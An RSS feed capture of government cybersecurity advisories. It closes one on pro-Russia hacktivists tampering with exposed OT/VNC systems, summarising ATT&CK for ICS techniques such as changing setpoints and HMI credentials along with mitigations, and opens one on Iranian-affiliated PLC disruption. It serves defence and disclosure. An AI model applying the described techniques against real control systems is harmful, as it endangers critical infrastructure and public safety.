<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
